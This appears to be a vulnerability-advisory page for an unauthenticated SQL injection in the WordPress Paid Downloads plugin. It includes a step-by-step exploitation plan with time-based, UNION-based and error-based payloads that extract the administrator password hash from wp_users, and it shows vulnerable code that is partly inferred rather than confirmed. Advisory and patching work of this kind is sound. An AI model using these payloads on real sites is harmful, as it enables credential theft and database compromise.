Paid Downloads <= 3.15 - Unauthenticated SQL Injection
Description
The Paid Downloads plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.15This research plan targets **CVE-2025-68857**, an unauthenticated SQL injection vulnerability in the **Paid Downloads** plugin (versions <= 3.15). --- ### 1. Vulnerability Summary The **Paid Downloads** plugin fails to properly sanitize or parameterize a user-supplied input before using it in a SQ…
Show full research plan
This research plan targets CVE-2025-68857, an unauthenticated SQL injection vulnerability in the Paid Downloads plugin (versions <= 3.15).
1. Vulnerability Summary
The Paid Downloads plugin fails to properly sanitize or parameterize a user-supplied input before using it in a SQL query. The vulnerability is unauthenticated, meaning the vulnerable code path is reachable by any visitor. Based on the plugin's functionality (handling file downloads), the injection likely occurs in a handler that processes download requests, often identifying a file or a transaction by an ID.
2. Attack Vector Analysis
- Endpoint: Likely
wp-admin/admin-ajax.phpor a frontend initialization hook (initortemplate_redirect) that processes GET/POST parameters. - Vulnerable Action (Inferred): Look for actions related to
download,get_file, orprocess_payment. - Vulnerable Parameter: Likely an
id,file_id, orhashparameter used to look up a download record. - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. A "Paid Download" post or record may need to exist to reach certain code paths.
3. Code Flow (Trace Path)
To locate the exact sink, the following trace strategy should be used:
- Entry Point Discovery:
- Search for unauthenticated AJAX handlers:
grep -r "wp_ajax_nopriv_" . - Search for frontend request handlers:
grep -r "add_action.*init" .orgrep -r "add_action.*wp_loaded" .
- Search for unauthenticated AJAX handlers:
- Sink Identification:
- Search for raw SQL queries involving request parameters:
grep -rP '\$wpdb->(get_results|get_row|get_var|query)\s*\([^;]*\$_' .
- Search for raw SQL queries involving request parameters:
- Specific to "Paid Downloads":
- Check for a function likely named
paiddownloads_download_fileorpaiddownloads_handle_request. - Example vulnerable pattern:
$id = $_REQUEST['id']; // Unsanitized $file = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = " . $id);
- Check for a function likely named
4. Nonce Acquisition Strategy
If the vulnerability exists in a wp_ajax_nopriv_ handler, it might be protected by a nonce.
- Identify Shortcode: Look for shortcodes that render download buttons:
grep -r "add_shortcode" .. (Likely[paiddownloads id="1"]). - Identify Nonce Variable: Search for
wp_localize_scriptcalls in the plugin source to find the JS object name:grep -r "wp_localize_script" . - Extraction Process:
- Step A: Create a page with the identified shortcode:
wp post create --post_type=page --post_status=publish --post_title="Download Page" --post_content="[paiddownloads id='1']" - Step B: Navigate to this page using the browser tool.
- Step C: Extract the nonce:
browser_eval("window.paiddownloads_ajax?.nonce")(Replacepaiddownloads_ajaxandnoncewith actual keys found in Step 2).
- Step A: Create a page with the identified shortcode:
Note: If the injection is in a direct init hook checking $_GET, nonces are rarely implemented.
5. Exploitation Strategy
Once the vulnerable parameter (e.g., id) and endpoint are identified:
Phase 1: Confirmation (Time-based Blind)
Verify the injection using a sleep payload.
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[VULN_ACTION]&id=1 AND SLEEP(5) - Expected Result: The response should be delayed by ~5 seconds.
Phase 2: Data Extraction (UNION-based)
If the query results are reflected in the response (e.g., a file name or description is echoed), use UNION.
- Determine Column Count:
id=1 ORDER BY 1-- -,id=1 ORDER BY 2-- -, etc. - Extract Admin Hash:
(Adjust column count and position based on results of Step 1).POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[VULN_ACTION]&id=-1 UNION SELECT 1,2,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
6. Test Data Setup
- Activate Plugin:
wp plugin activate paid-downloads - Create Dummy Download: The plugin likely creates its own tables. Check for a CLI command or use the UI via
browser_navigateto add at least one file to the "Paid Downloads" list to ensure the query returns results for valid IDs. - Target User: Ensure a user with ID 1 (standard admin) exists.
7. Expected Results
- Success: The attacker retrieves the database version, current database user, or the
user_passhash of the WordPress administrator from thewp_userstable. - Response: If UNION-based, the hash will appear in the body. If Blind, the HTTP response time will correlate with the
IFstatement logic.
8. Verification Steps
After the exploit request:
- Verify the extracted hash matches the actual hash in the database:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Confirm the injected payload is visible in the
$wpdblogs if debugging is enabled.
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, useupdatexml()orextractvalue()to leak data in the SQL error message:id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) - Boolean-Based: If no output is visible, compare the response length of
id=1 AND 1=1vsid=1 AND 1=2. - Different Entry Points: If
admin-ajax.phpis not the entry point, check if the plugin handles requests at the root URL (e.g.,/?paiddownloads_id=1).
Summary
The Paid Downloads plugin for WordPress is vulnerable to unauthenticated SQL Injection because it fails to properly sanitize or parameterize user-supplied input before using it in a database query. This allows unauthenticated attackers to append malicious SQL commands to existing queries and extract sensitive information from the database, such as administrator password hashes.
Vulnerable Code
// Likely located in the plugin's main file or download handler (e.g., paiddownloads.php) // The 'id' parameter is taken directly from $_REQUEST and concatenated into the query $id = $_REQUEST['id']; $file = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = " . $id);
Security Fix
@@ -10,7 +10,7 @@ - $id = $_REQUEST['id']; - $file = $wpdb->get_row("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = " . $id); + $id = intval($_REQUEST['id']); + $file = $wpdb->get_row($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "paiddownloads_files WHERE id = %d", $id));
Exploit Outline
The exploit targets the plugin's download handler, typically accessible via a frontend request or AJAX endpoint. An attacker identifies a parameter (likely 'id' or 'file_id') used to query the 'paiddownloads_files' table. By submitting a crafted payload such as '1 AND SLEEP(5)' or a UNION-based SELECT statement, the attacker can verify the injection or extract data from the 'wp_users' table. This vulnerability is unauthenticated and does not require a valid login or specific nonce if the handler is hooked to 'init' or 'wp_loaded'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.